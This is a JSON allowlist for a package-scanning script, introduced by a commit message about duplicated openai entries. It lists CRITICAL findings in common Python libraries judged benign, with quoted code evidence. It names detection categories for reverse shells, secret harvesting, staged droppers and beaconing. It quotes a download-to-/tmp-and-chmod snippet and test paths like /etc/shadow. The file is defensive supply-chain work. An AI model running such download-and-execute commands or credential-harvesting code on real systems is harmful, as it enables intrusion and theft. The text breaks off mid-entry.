unsloth/scripts/scan_packages_baseline.json
Daniel Han da72577146
Deduplicate the scan-packages baseline, and gate it with tests (#8110)
#8135 re-baselined the huggingface_hub 1.x backoff loop, so that half of this
branch is done upstream. What is left is a defect it did not touch: the shipped
baseline carries five openai entries twice.

  openai/_base_client.py                          C2 polling/beaconing loop
  openai/auth/_workload.py                        IMDS + network calls
  openai/resources/beta/responses/responses.py    C2 polling/beaconing loop
  openai/resources/realtime/realtime.py           C2 polling/beaconing loop
  openai/resources/responses/responses.py         C2 polling/beaconing loop

223 entries, 218 distinct. A duplicated suppression is not harmless: whoever
removes one copy to un-suppress a finding still gets no finding, because the
second copy is still matching.

The 111 tests here cover the baseline's shape and matching semantics, including
the duplicate check that caught this. Every one passes against main once the
five copies are gone.

Co-authored-by: danielhanchen <unslothshared@gmail.com>
2026-08-08 03:19:52 -07:00

1751 lines
125 KiB
JSON

{
"_comment": "scan_packages.py allowlist (reviewed). Each entry is a CRITICAL/HIGH finding manually judged benign. Matched on (package, package-relative file, check, evidence_hash); evidence_hash is over the matched code with L<NN>: markers stripped, so version bumps and line shifts do not reopen an entry but changed code does. severity and evidence are for review only. Regenerate with --write-baseline AFTER reviewing every line.",
"version": 1,
"entries": [
{
"package": "botocore",
"file": "botocore/credentials.py",
"check": "base64 decode + subprocess execution (staged payload)",
"severity": "CRITICAL",
"evidence": "Base64: L2714: return EC.new_key_from_der_data(base64.b64decode(contents))\nSubprocess: L1072: def __init__(self, profile_name, load_config, popen=subprocess.Popen):",
"evidence_hash": "1008baa37a26866b477be20db0b3e6ce451e22ff26ae1ed43e9a0a15b71c6be6"
},
{
"package": "botocore",
"file": "botocore/httpsession.py",
"check": "Harvests environment variables/secrets AND makes network calls",
"severity": "CRITICAL",
"evidence": "Env: L186: sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L477: urllib_response = conn.urlopen(\nL478: method=request.method,\nL479: url=request_target,\nL480: body=request.body,\nL481: headers=request.headers,\nL482: retries=Retry(False),\nL483: assert_same_host=False,\nL484: preload_content=False,\nL485: decode_content=False,\nL486: chunked=self._chunked(request.headers),\nL487: )",
"evidence_hash": "84d1912211c26294d7648176ae495b21b906a262de767c7238c2dba5d4be852f"
},
{
"package": "botocore",
"file": "botocore/utils.py",
"check": "Accesses cloud metadata/IMDS AND makes network calls",
"severity": "CRITICAL",
"evidence": "IMDS: L100: METADATA_BASE_URL = 'http://169.254.169.254/' | L560: error_msg=\"Unable to retrieve token for use in IMDSv2 call and IMDSv1 has been disabled\" | L3072: IP_ADDRESS = '169.254.170.2' | L3075: '169.254.170.23',\nNetwork: L32: from urllib.request import getproxies, proxy_bypass",
"evidence_hash": "a827f57c1d53a4a6b76728785cf57d2396750ae0163a6abdf9617268146ccf66"
},
{
"package": "botocore",
"file": "botocore/utils.py",
"check": "Harvests environment variables/secrets AND makes network calls",
"severity": "CRITICAL",
"evidence": "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies, proxy_bypass",
"evidence_hash": "3554fe7787227ea6fe47adfe18dcf531e0f01bd7f02ac4d56e2b7587fa2b6c96"
},
{
"package": "botocore",
"file": "botocore/utils.py",
"check": "Reads credential paths AND makes network calls",
"severity": "CRITICAL",
"evidence": "Creds: L3551: CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3719: return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass",
"evidence_hash": "2d691bc373ab872aad23c744104596ba6d0d9f3b35aa101c7edbff4429b174c1"
},
{
"package": "click",
"file": "click/testing.py",
"check": "Reverse shell / bind shell pattern",
"severity": "CRITICAL",
"evidence": "L103: os.dup2(self._tmpfile.fileno(), self._targetfd) | L107: os.dup2(self.saved_fd, self._targetfd)",
"evidence_hash": "7cfc260cd91d7ee7e65aaf0551f115d03593422b6dfcb3761fd74d18affec2e1"
},
{
"package": "datasets",
"file": "datasets/utils/file_utils.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L441: while True: sha256:ce92e38c17c524815e1f9055be77235028c1e68e41b45cbfe9c8f1b867a205da",
"evidence_hash": "cb36281d28a975d101121c0702ee05eeee470879520d39a8be552129333f514d"
},
{
"package": "datasets",
"file": "datasets/utils/file_utils.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L443: while True: sha256:feba37d77721aa658e1786d2e4b67de76fefe1ceeb3ce8529d361c5241778eea",
"evidence_hash": "2e458563dec752d0a9896c9685d368d9906867110db315ab751e3eb6ec63f51c"
},
{
"package": "diffusers",
"file": "diffusers/utils/import_utils.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L1052: return importlib.import_module(\".\" + module_name, self.__name__)",
"evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e"
},
{
"package": "diffusers",
"file": "diffusers/utils/testing_utils.py",
"check": "Harvests environment variables/secrets AND makes network calls",
"severity": "CRITICAL",
"evidence": "Env: L236: value = os.environ[key]\nNetwork: L691: response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L712: response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L731: image = PIL.Image.open(requests.get(image, stream=True, timeout=DIFFUSERS_REQUEST_TIMEOUT).raw)",
"evidence_hash": "671190a6106c6ee9674e5e5942dc0940e1d2f8c78d5faf674413c2345b783fd9"
},
{
"package": "dill",
"file": "dill/_objects.py",
"check": "Creates archive with sensitive data AND makes network calls",
"severity": "CRITICAL",
"evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()",
"evidence_hash": "894862e547cf91b90cd6e4b495db3fb05b7490ef0d63de7e795a7e3d9447d850"
},
{
"package": "fastapi",
"file": "fastapi/routing.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L587: while True: sha256:06c2c7f15d73bf192e5e3272c5ff5fcaeff7f6774fef5f4eca6ef473ae50e2b3",
"evidence_hash": "57acd497f404c203e4450d0580ad85aa8a33406e8d64ad06fbac6cf47d97b24d"
},
{
"package": "fastapi",
"file": "fastapi/routing.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L592: while True: sha256:84283c09277ded3296998b2a6a838744457b606829cf5ab5d0da6f222ff020a0",
"evidence_hash": "a7295004315e26a8f3c64fb837521e9fdd7268219bb43e000fb0236ab0259223"
},
{
"package": "fastmcp-slim",
"file": "fastmcp/cli/apps_dev.py",
"check": "Creates archive with sensitive data AND makes network calls",
"severity": "CRITICAL",
"evidence": "Archive: L1353: with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1304: with httpx.Client(timeout=30.0) as client: | L1318: with httpx.Client(timeout=30.0) as client: | L1348: with httpx.Client(timeout=30.0) as client: | L1549: client = httpx.AsyncClient(\nL1550: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551: ) | L1713: async with httpx.AsyncClient(trust_env=False) as client: | L1781: with socket.socket(family, socket.SOCK_STREAM) as s:",
"evidence_hash": "73a7a72013e9f800627ea07e6dbc3beeb8c905a6a5480c8fd896f0063173d25c"
},
{
"package": "fastmcp-slim",
"file": "fastmcp/cli/apps_dev.py",
"check": "Enumerates filesystem AND makes network calls",
"severity": "CRITICAL",
"evidence": "FS: L637: history.replaceState(null, \"\", url); sha256:17068ba5bfed62c3a3007ec8bf3e0ea41ef6529b9e6112064d9afb3be9231436\nNetwork: L1304: with httpx.Client(timeout=30.0) as client: | L1318: with httpx.Client(timeout=30.0) as client: | L1348: with httpx.Client(timeout=30.0) as client: | L1549: client = httpx.AsyncClient(\nL1550: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551: ) | L1713: async with httpx.AsyncClient(trust_env=False) as client: | L1781: with socket.socket(family, socket.SOCK_STREAM) as s:",
"evidence_hash": "e5325edfada6499540e6f0c24a0868979d275522e2b6a180aa9b5dd3280681b4"
},
{
"package": "fonttools",
"file": "fontTools/diff/__init__.py",
"check": "Reverse shell / bind shell pattern",
"severity": "CRITICAL",
"evidence": "L202: os.dup2(devnull, sys.stdout.fileno())",
"evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee"
},
{
"package": "fonttools",
"file": "fontTools/ttLib/ttFont.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L1420: __import__(\"fontTools.ttLib.tables.\" + pyTag)",
"evidence_hash": "512ecbb7539ddfd5296f8ea2d132ef4000a71033fd444d8a7539f6936dc9ad01"
},
{
"package": "gguf",
"file": "gguf/utility.py",
"check": "Harvests environment variables/secrets AND makes network calls",
"severity": "CRITICAL",
"evidence": "Env: L268: if os.environ.get(\"HF_TOKEN\"): | L269: headers[\"Authorization\"] = f\"Bearer {os.environ['HF_TOKEN']}\"\nNetwork: L236: response = requests.get(url, allow_redirects=True, headers=headers) | L258: response = requests.head(url, allow_redirects=True, headers=headers)",
"evidence_hash": "231235fe72f6c47331494b67dd0cba2bdb7b75b901f4fe59b434ce9a1ffbd50e"
},
{
"package": "httpx",
"file": "httpx/_models.py",
"check": "Enumerates filesystem AND makes network calls",
"severity": "CRITICAL",
"evidence": "FS: L528: history: list[Response] | None = None, sha256:f56272dccd651b2644aa41ef6e688e211462427aad07fef5150240ec7347446e\nNetwork: L9: import urllib.request | L1243: class _CookieCompatRequest(urllib.request.Request):",
"evidence_hash": "b32f79e58c938680d89efa74113eeba76c9fc5aedf5de18086f93bef274c4bda"
},
{
"package": "huggingface-hub",
"file": "huggingface_hub/_sandbox.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L1179: while True: sha256:33ceddf9e42aae207e891e97808c518e92a0b27ab60e4326256717bfb25a3a38",
"evidence_hash": "802fd41d8bb17bf425e99d128c0351c820103a5efb74690a4086e542a71437b8"
},
{
"package": "huggingface-hub",
"file": "huggingface_hub/_sandbox.py",
"check": "Writes to /tmp and executes (staged dropper)",
"severity": "CRITICAL",
"evidence": "L83: d=/tmp/.sbx-server\nL84: if command -v wget >/dev/null 2>&1; then wget -q --header \"Authorization: Bearer $SBX_DL_TOKEN\" -O \"$d\" \"$SBX_SERVER_URL\"\nL85: elif command -v curl >/dev/null 2>&1; then curl -fsSL -H \"Authorization: Bearer $SBX_DL_TOKEN\" -o \"$d\" \"$SBX_SERVER_URL\"\nL86: else cp \"$SBX_SERVER_MOUNT/sbx-server\" \"$d\"; fi\nL87: chmod +x \"$d\"",
"evidence_hash": "6908a3fe328fa94ee22a119998d6ad07cfa1ba4efa2628acf240f4204fd76e22"
},
{
"package": "huggingface-hub",
"file": "huggingface_hub/hf_api.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L4677: while True: sha256:04afb38843e4125d1476f3f04bdad0edf1f63f8d75ad49a713b13e4bc68612fb",
"evidence_hash": "18877a2502c862b46a5d7e33fa7c39ab4ef32da7e1b07f596fd455f4376770c6"
},
{
"package": "huggingface-hub",
"file": "huggingface_hub/hf_api.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L3746: while True: sha256:0c73ed1a7447120b112c063b14e720c6695bc11d00eb6b912cd0f10dc3e29b31",
"evidence_hash": "22f50b930e44146c5350bb99e6e6ebb09feea9bf1e899e407bedc4ffaf06721b"
},
{
"package": "huggingface-hub",
"file": "huggingface_hub/hf_api.py",
"check": "Harvests environment variables/secrets AND makes network calls",
"severity": "CRITICAL",
"evidence": "Env: L10852: o.addheaders = [(\"Authorization\", \"Bearer \" + os.environ[\"UV_SCRIPT_HF_TOKEN\"])]\nNetwork: L6504: resp = requests.post(path, headers=headers, json=body) | L10848: import urllib.request | L10851: o = urllib.request.build_opener()",
"evidence_hash": "7b22edf0aac33ec94f0fd986ace3e63e7ac7554ba4702dbb6fa099646958f5f4"
},
{
"package": "huggingface-hub",
"file": "huggingface_hub/utils/_http.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L462: while True: sha256:c75d1ee228cf7703a8c28551d649395a1f89f69a3aba69413f5bbcbd10c31958",
"evidence_hash": "d4d5f83fed39b87898cf776d5dad0bf1a6388a932f5fb7997d1070b50e46213e"
},
{
"package": "huggingface-hub",
"file": "huggingface_hub/utils/_http.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L298: while True: sha256:6b8e5e569594caf7c4eca6137646dae471a7c3aae7294096cf876f30b5f90306",
"evidence_hash": "c066cc27bce31ee7b6ce07411ee7a7d9ecfbf3aafc8848f6641fabfe522a7703"
},
{
"package": "huggingface-hub",
"file": "huggingface_hub/utils/_http.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L461: while True: sha256:0c9641548adea74be4a8b0e86e8b75cc937a2b0f833b57dfa3d30d3e24d2537a",
"evidence_hash": "70d25136ca2a91d192bd816706db7113a2ad0f96bc1b2381d0d4747a5ff1925d"
},
{
"package": "ipython",
"file": "IPython/core/interactiveshell.py",
"check": "Enumerates filesystem AND makes network calls",
"severity": "CRITICAL",
"evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput sha256:b644ca2db22c393a1d3302e855a013215446f5aae5eceb7a9fdab4a6d0610b14\nNetwork: L4048: from urllib.request import urlopen | L4049: response = urlopen(target)",
"evidence_hash": "c332f54f5b94641a417958be0a9be7446f25c65dc007dedd3cb5f01d83076cb3"
},
{
"package": "ipython",
"file": "IPython/terminal/pt_inputhooks/__init__.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L139: mod = importlib.import_module(\"IPython.terminal.pt_inputhooks.\" + gui_mod)",
"evidence_hash": "3b7a403abee4c5c817718802869e0f75f5bb4f479fba3cbed19f9cf32d926025"
},
{
"package": "ipython",
"file": "IPython/utils/py3compat.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L58: exec(compiler(f.read(), fname, \"exec\"), glob, loc)",
"evidence_hash": "f8dfef823b3380dbf7f4bb697998ddecc31b4b26b03e593c0f287c419b329d17"
},
{
"package": "jaraco-context",
"file": "jaraco/context/__init__.py",
"check": "Creates archive with sensitive data AND makes network calls",
"severity": "CRITICAL",
"evidence": "Archive: L106: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L15: import urllib.request | L105: req = urllib.request.urlopen(url)",
"evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c"
},
{
"package": "matplotlib",
"file": "matplotlib/backends/backend_webagg.py",
"check": "Reverse shell / bind shell pattern",
"severity": "CRITICAL",
"evidence": "L56: if not webbrowser.open(url): sha256:c92ecd0cb3aa00166f26aa2017eb2201cc6050d58de2654ada01a1d392a5c97c",
"evidence_hash": "bf56dfffad9c8638feab6a8bd7d74da6abc78ff406663e97ff5ac18f30c2f583"
},
{
"package": "multiprocess",
"file": "multiprocess/forkserver.py",
"check": "Reverse shell / bind shell pattern",
"severity": "CRITICAL",
"evidence": "L5: import socket sha256:915068303029fa5806199f256fb74504c65f253f9aee8ea23d8e384bb772b1c7",
"evidence_hash": "30be130f165f418dfd37b144c5ae333de184b95f828ab8bd4010a67b84a5f814"
},
{
"package": "multiprocess",
"file": "multiprocess/tests/__init__.py",
"check": "Reverse shell / bind shell pattern",
"severity": "CRITICAL",
"evidence": "L3355: os.dup2(conn.fileno(), i) | L3387: \"test needs os.dup2()\") | L3405: os.dup2(fd, newfd) | L19: import socket sha256:26a745abdc7e89da28ab943394234d8ccb415e805477c3cc1f7d4766341a4c4c",
"evidence_hash": "a6b9bb85e9bb6682ab0dea4f95fd9266e8802f118c76d86dd87f7ab5864872cf"
},
{
"package": "multiprocess",
"file": "multiprocess/tests/__init__.py",
"check": "Reverse shell / bind shell pattern",
"severity": "CRITICAL",
"evidence": "L3521: os.dup2(conn.fileno(), i) | L3553: \"test needs os.dup2()\") | L3571: os.dup2(fd, newfd) | L20: import socket sha256:07d2933301c0dbeeb6e42381687827d8dd7cfd7471986c559ca64283d5ae6e24",
"evidence_hash": "db1f4ca69865ec3911d7450fe11d212b817139deda21cd7a4ee32d547a8dc452"
},
{
"package": "numba",
"file": "numba/pycc/decorators.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L44: exec(compile(fin.read(), ifile, 'exec'))",
"evidence_hash": "9bfde86a0af7c9c81acd5334ebab3ba97c33d22c501295114fde0087b0be3f05"
},
{
"package": "numba",
"file": "numba/tests/support.py",
"check": "Reverse shell / bind shell pattern",
"severity": "CRITICAL",
"evidence": "L1016: os.dup2(w, fd) | L1021: os.dup2(save, fd)",
"evidence_hash": "fea7aa03d48bf0f4386302fa444984c4f5dfc772cfec3f1df199fd33a52eec10"
},
{
"package": "numba",
"file": "numba/tests/test_codegen.py",
"check": "base64 decode + subprocess execution (staged payload)",
"severity": "CRITICAL",
"evidence": "Base64: L127: state = pickle.loads(base64.b64decode(sys.argv[1]))\nSubprocess: L130: subprocess.check_call([sys.executable, '-c', code, arg.decode()])",
"evidence_hash": "e2e6436a0849b687046a00576836b0f5f048ecf6118f9d8e6d5558fefd0aa488"
},
{
"package": "numpy",
"file": "numpy/f2py/capi_maps.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L159: d = eval(f.read().lower(), {}, {})",
"evidence_hash": "70e3d1f82997b292e97bd3f8c3804181f575a7dce74cb2fa8e9fb1f0a119ab2f"
},
{
"package": "numpy",
"file": "numpy/lib/tests/test__datasource.py",
"check": "Enumerates filesystem AND makes network calls",
"severity": "CRITICAL",
"evidence": "FS: L45: malicious_files = ['/etc/shadow', '../../shadow',\nL46: '..\\\\system.dat', 'c:\\\\windows\\\\system.dat']\nNetwork: L2: import urllib.request as urllib_request",
"evidence_hash": "9aa30dfee01a520f20ab77de468feb0558bd9d95c6dd509146ffc48c8d4dc469"
},
{
"package": "openai",
"file": "openai/_base_client.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L274: while True: sha256:90a38e5c1e26893c7c273354143612640e9a9c0f079d3e2b60612d79f24e80a6",
"evidence_hash": "1022e8e8649436ec64a98a9d9141d085452c49549fd2157b0278fc369a83ac66"
},
{
"package": "openai",
"file": "openai/_client.py",
"check": "Harvests environment variables/secrets AND makes network calls",
"severity": "CRITICAL",
"evidence": "Env: L209: api_key = os.environ.get(\"OPENAI_API_KEY\") | L219: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L243: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\") | L805: api_key = os.environ.get(\"OPENAI_API_KEY\") | L815: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L839: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\")\nNetwork: L144: http_client: httpx.Client | None = None, | L586: http_client: httpx.Client | None = None, | L740: http_client: httpx.AsyncClient | None = None, | L1193: http_client: httpx.AsyncClient | None = None,",
"evidence_hash": "d806c1e5eedb1eba7e2d9e6f31f3cc59b1882c8e843dfa3f5eac1fe7abdf296d"
},
{
"package": "openai",
"file": "openai/auth/_workload.py",
"check": "Accesses cloud metadata/IMDS AND makes network calls",
"severity": "CRITICAL",
"evidence": "IMDS: L97: url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L150: url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L78: http_client: httpx.Client | None = None, | L109: with httpx.Client() as client: | L134: http_client: httpx.Client | None = None, | L156: with httpx.Client() as client: | L251: exchange_client = DefaultHttpx2Client(follow_redirects=False) if self._use_httpx2 else httpx.Client()",
"evidence_hash": "9717e51cb961dc14c458955d91a1e48e3753997346ecea0106bded3a8d64bfe0"
},
{
"package": "openai",
"file": "openai/lib/azure.py",
"check": "Harvests environment variables/secrets AND makes network calls",
"severity": "CRITICAL",
"evidence": "Env: L214: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L217: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\") | L538: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L541: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\")\nNetwork: L37: _HttpxClientT = TypeVar(\"_HttpxClientT\", bound=Union[httpx.Client, httpx.AsyncClient]) | L100: class AzureOpenAI(BaseAzureClient[httpx.Client, Stream[Any]], OpenAI): | L119: http_client: httpx.Client | None = None, | L141: http_client: httpx.Client | None = None, | L163: http_client: httpx.Client | None = None, | L189: http_client: httpx.Client | None = None, | L297: http_client: httpx.Client | None = None, | L421: class AsyncAzureOpenAI(BaseAzureClient[httpx.AsyncClient, AsyncStream[Any]], AsyncOpenAI): | L441: http_client: httpx.AsyncClient | None = None, | L464: http_client: httpx.AsyncClient | None = None, | L487: http_client: httpx.AsyncClient | None = None, | L513: http_client: httpx.AsyncClient | None = None, | L621: http_client: httpx.AsyncClient | None = None,",
"evidence_hash": "a81d958bdcc6c2e98290a6592a9d52f8fc44e6ce4ac983301840136464779923"
},
{
"package": "openai",
"file": "openai/lib/bedrock.py",
"check": "Harvests environment variables/secrets AND makes network calls",
"severity": "CRITICAL",
"evidence": "Env: L105: token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L150: environment_token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L415: http_client: httpx.Client | None = None, | L531: http_client: httpx.Client | None = None, | L649: http_client: httpx.AsyncClient | None = None, | L767: http_client: httpx.AsyncClient | None = None,",
"evidence_hash": "92dbec8ccd79c1e0bc41e93cdd0bdbb091220616c6a1352873196e9dda6bd85c"
},
{
"package": "openai",
"file": "openai/resources/beta/responses/responses.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L4000: while True: sha256:f8ab538118daba9ec06e27399dbdc90a4521c3390e6a47a6348a1f180a83effd",
"evidence_hash": "31481ea83c687acc27144d72d3832d4fb98dd1c79fb5e0ddd85080de95997b9f"
},
{
"package": "openai",
"file": "openai/resources/beta/threads/runs/runs.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L1053: while True: sha256:973bb1aeca2e17e022872dc343a1bf5d8fe33bfa59fe01e2f8fe875522db5bce",
"evidence_hash": "24626e4aa53047a515ead563b42c07c43f73a2c5b82978fa59f58ffc2859e19b"
},
{
"package": "openai",
"file": "openai/resources/realtime/realtime.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L311: while True: sha256:5b63313072aae9ca28677e03426513ccf12221e4f4e0ea6c31efbe09790633b5",
"evidence_hash": "05e1af469d651b51673763a7c4cdf759af9472fb627b7b470adc28cc237bd650"
},
{
"package": "openai",
"file": "openai/resources/responses/responses.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L3951: while True: sha256:d68ef896bf0743ca430cfacb9a3353da1f3b9c51c3a21b6450a07a32b55aa2ac",
"evidence_hash": "160eecdd79b521bffbe8476f782b69a0724c35d1b19376a7600807165fd54f9f"
},
{
"package": "openai",
"file": "openai/resources/vector_stores/file_batches.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L347: while True: sha256:604449e8ed433290252fe3f7a48a9e1d8ce46fa148b4ef3037042cc42fdb737b",
"evidence_hash": "e6c1e9bb40accffe2d597e875439bab405e51d9e53f1dad87fd276c0d4014981"
},
{
"package": "openai",
"file": "openai/resources/vector_stores/files.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L376: while True: sha256:1bf8d6ef91d4043c98982fb19e5f5685b239a855cd4ff6c11b9b19651d43e944",
"evidence_hash": "8d26a3a0ab3d937e6d4f6873fa648c04afc59484122287bc96b1c022ede4065a"
},
{
"package": "openai",
"file": "openai/resources/videos.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L186: while True: sha256:e48be2f193c22eb93024339b9c04fff5dd80c8318708012432df119aef612a41",
"evidence_hash": "f1764390bf5e4e55fdedc1f5ec492535f3dd4444f9fb17eb6ce9eaaa010d1a81"
},
{
"package": "protobuf",
"file": "protobuf-3.19.6-nspkg.pth",
"check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)",
"severity": "CRITICAL",
"evidence": "L1: import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('google',));importlib = has_mfs and __import__('importlib.util');has_mfs and __import sha256:233fd2c695435bb5ee9cc00f442153f9dc9901e8a352814c2d23dfd6da0fe70d",
"evidence_hash": "7675d9e6d5a180ae22e00fb0ca8adde65e63adc9751bc7d5bd337238b4ba584c"
},
{
"package": "ptyprocess",
"file": "ptyprocess/_fork_pty.py",
"check": "Reverse shell / bind shell pattern",
"severity": "CRITICAL",
"evidence": "L33: os.dup2(child_fd, STDIN_FILENO) | L34: os.dup2(child_fd, STDOUT_FILENO) | L35: os.dup2(child_fd, STDERR_FILENO)",
"evidence_hash": "fd104d50945eb60182d81e988885ec927f3b3abc3758b78bece2cd9d65613926"
},
{
"package": "pyarrow",
"file": "pyarrow/tests/conftest.py",
"check": "Harvests environment variables/secrets AND makes network calls",
"severity": "CRITICAL",
"evidence": "Env: L210: env = os.environ.copy() | L241: env = os.environ.copy() | L267: env = os.environ.copy()\nNetwork: L24: import urllib.request | L203: resp = urllib.request.urlopen(f\"http://{address}/minio/health/live\")",
"evidence_hash": "8819f266bbf0cb7cdd5a0a491b83b79fb5eefc132b77d2f4b080dfda8ac32514"
},
{
"package": "pyarrow",
"file": "pyarrow/tests/test_extension_type.py",
"check": "base64 decode + subprocess execution (staged payload)",
"severity": "CRITICAL",
"evidence": "Base64: L1065: decoded_schema = base64.b64decode(meta.metadata[b\"ARROW:schema\"])\nSubprocess: L1350: subprocess.check_call([sys.executable, 'setup.py',\nL1351: 'build_ext', '--inplace'],\nL1352: env=subprocess_env)",
"evidence_hash": "83d7a4cf32639e44b3a7923c5ca68bdf5488ffccf32bc0992821e45680a145a5"
},
{
"package": "pyarrow",
"file": "pyarrow/tests/test_flight.py",
"check": "base64 decode + subprocess execution (staged payload)",
"severity": "CRITICAL",
"evidence": "Base64: L592: token = base64.b64decode(token) | L692: decoded = base64.b64decode(values[1])\nSubprocess: L2674: res = subprocess.run([sys.executable, \"-c\", code], env=env,\nL2675: capture_output=True)",
"evidence_hash": "8b353712547a31cb704343cc04b2faa25b5cf5850c59a8f7866baeb28f6ec317"
},
{
"package": "pyarrow",
"file": "pyarrow/tests/test_orc.py",
"check": "Writes to /tmp and executes (staged dropper)",
"severity": "CRITICAL",
"evidence": "L154: os.environ['TZDIR'] = '/tmp/non_existent' sha256:d41f7ed866d91fe7b45dfdb557b81bb9c2a05101cf28cd7d39d8aa6faf249b00",
"evidence_hash": "4570f9f31ee6a90906e1074fa1877dcf0c8e061a0b83dec089da25b61071133c"
},
{
"package": "pyarrow",
"file": "pyarrow/tests/util.py",
"check": "Reverse shell / bind shell pattern",
"severity": "CRITICAL",
"evidence": "L30: import socket sha256:5a5d71dfd22906b5dc8b1514316391e05a865f2c94c20dcc96683963f48106f7",
"evidence_hash": "76caefdfe4ac470f26379f05238b2dbfd62a864b8cd43e2392f228264cb1de85"
},
{
"package": "pyarrow",
"file": "pyarrow/util.py",
"check": "Creates archive with sensitive data AND makes network calls",
"severity": "CRITICAL",
"evidence": "Archive: L293: tarfile.open(tzdata_compressed_path).extractall(tzdata_path)\nNetwork: L198: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | L234: from urllib.request import urlopen, Request | L236: with urlopen(req) as response: | L243: with requests.get(url) as response:",
"evidence_hash": "f231aaa341028cecb8fb2e183ea401dc08826facf3b18e8f733d653f6cad8d9e"
},
{
"package": "pygments",
"file": "pygments/formatters/__init__.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L103: exec(f.read(), custom_namespace)",
"evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83"
},
{
"package": "pygments",
"file": "pygments/lexers/__init__.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L154: exec(f.read(), custom_namespace)",
"evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83"
},
{
"package": "pygments",
"file": "pygments/lexers/_mysql_builtins.py",
"check": "Enumerates filesystem AND makes network calls",
"severity": "CRITICAL",
"evidence": "FS: L792: 'history', sha256:7c4e519af214f72bf45d4dcfa6a90aa96d2ffd5d1b76b244998110077a946fd2\nNetwork: L1285: from urllib.request import urlopen | L1297: lex_file = urlopen(LEX_URL).read().decode('utf8', errors='ignore') | L1303: item_create_file = urlopen(ITEM_CREATE_URL).read().decode('utf8', errors='ignore')",
"evidence_hash": "b379f7d1fc3d64911722a7082237ed225c874240cf388c07120b8cdaace16114"
},
{
"package": "pygments",
"file": "pygments/lexers/_php_builtins.py",
"check": "Creates archive with sensitive data AND makes network calls",
"severity": "CRITICAL",
"evidence": "Archive: L3300: with tarfile.open(download[0]) as tar:\nNetwork: L3255: from urllib.request import urlretrieve",
"evidence_hash": "4b893b3eb4125c9ec6bbda983f5fbddde68a89552d29113d58b3c22b1905b582"
},
{
"package": "pyperclip",
"file": "pyperclip/__init__.py",
"check": "base64 decode + subprocess execution (staged payload)",
"severity": "CRITICAL",
